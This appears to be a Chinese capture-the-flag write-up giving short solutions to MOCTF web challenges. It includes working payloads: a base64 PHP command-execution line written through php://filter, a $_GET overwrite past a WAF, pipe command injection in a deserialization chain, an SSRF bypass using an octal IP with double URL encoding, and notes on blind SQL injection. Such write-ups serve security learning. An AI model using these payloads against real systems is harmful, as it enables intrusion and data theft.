MOCTF -WEB
9、暴躁老板
抓包
10、Flag在哪
抓取重定向
11、美味的饼干
发现cookie中存在base64编码+md5编码
改成admin并修改cookie即可
12、没时间解释了
发现index2.php,可能是重定向。
13、死亡退出
参考地址:https://blog.csdn.net/stepone4ward/article/details/86651041
@file_put_contents($filename, $c);
在向tmp.php中写入数据时利用php伪协议file=php://filter/read=convert.base64-decode/resource=tmp.php
c中写入base64编码的一句话<?php system("cat flag.php");?>
因为最前面的phpexit7位,因为base64算法解码时是4个byte一组,所以要加上一个a补全8位,
aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
构造post file=php://filter/write=convert.base64-decode/resource=tmp.php&c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
14、火眼金睛
交个脚本就行
15、unset
代码审计,估计要用到unset
unset(bar);用来销毁指定的变量,如果变量bar);用来销毁指定的变量,如果变量bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。
要求key中不能出现flag,但是又要$_GET['flag']。。。
所以利用
如果_POST、_GET中的某一键值对已经存在,就销毁这个key-value,从而绕过waf()
再利用POST中的数组重新进行键值对的赋值,因为GET中的键值对为$flag=s878926199a
而下面需要的是_GET[flag]
构造 http://119.23.73.3:5101/?flag=s878926199a&daiker=s155964671a&file=php://filter/read=convert.base64-encode/resource=flag.php
POST: _GET[flag]=s878926199a&_GET[daiker]=s155964671a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php
16、PUNG
在学校那个页面的源代码中提示index.php.bak
下载
1、存在class.php,以及需要利用反序列化。
试试class.php.bak文件
首先是_destruct(),waf()是啥不知道。。
如果weapon==="AWM",这里要绕过_wakeup,否则武器被赋值为98k,
调用Get_air_drops($this->bag);
然后 Get_air_drops($b) 是 $this->$b();
在调用不存在的方法时调用 _call()
很明显要利用参数可控的
$file = explode(".",$method);
if(file_exists(".//class$file[0].php"))
已知 system("php .//class//win.php"); 存在
于是构造 //win
system("php .//class//$method.php");
再利用管道符读取flag
于是构造"//win.php | cat ./class/flag"
构造反序列化
17、网站检测
参考wp:https://blog.csdn.net/stepone4ward/article/details/86701123
试一下http://www.moctf.com
发现这个检测器会将页面的主要内容输出到屏幕,尝试一下http://www.moctf.com/flag.php
SSRF漏洞(服务器端请求漏洞)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。因为其是由服务器端发生的请求,所以可以访问到外网无法访问到的内部系统。其绕过方式为在真实地址后加上@+想要伪造访问的地址
这道题给出的hint为docker -p 10001:80
我们需要访问的是本地的ip,但是题目过滤了dot和127,因此对于dot我们采取url编码的方式绕过,但此时的“.”为%2e,依旧会被识别,此时我们需要使用url二次编码来进行绕过。对于127.0.0.1我们则采取改变进制的方法进行绕过。
SSRF,过滤了.和127
最基本的payload为:http://www.moctf.com@127.0.0.1/flag.php
可以利用url二次编码的方式绕过.127.0.0.1可以用localhost试试,发现不行
将127.0.0.1转为8进制结果为017700000001
url=http%3A%2F%2Fwww.moctf.com@017700000001/%25%36%36%25%36%43%25%36%31%25%36%37%25%32%45%25%37%30%25%36%38%25%37%30
18、简单注入
参考wp:https://www.jianshu.com/p/4bf347959bd5
多次尝试发现 id=1'and'1'='1 可以盲注了
判断可用字符
利用相同方法带入发现union联合注入、or、<、>都不可用。
可以使用and、select查询字符。
bool盲注,脚本以此类推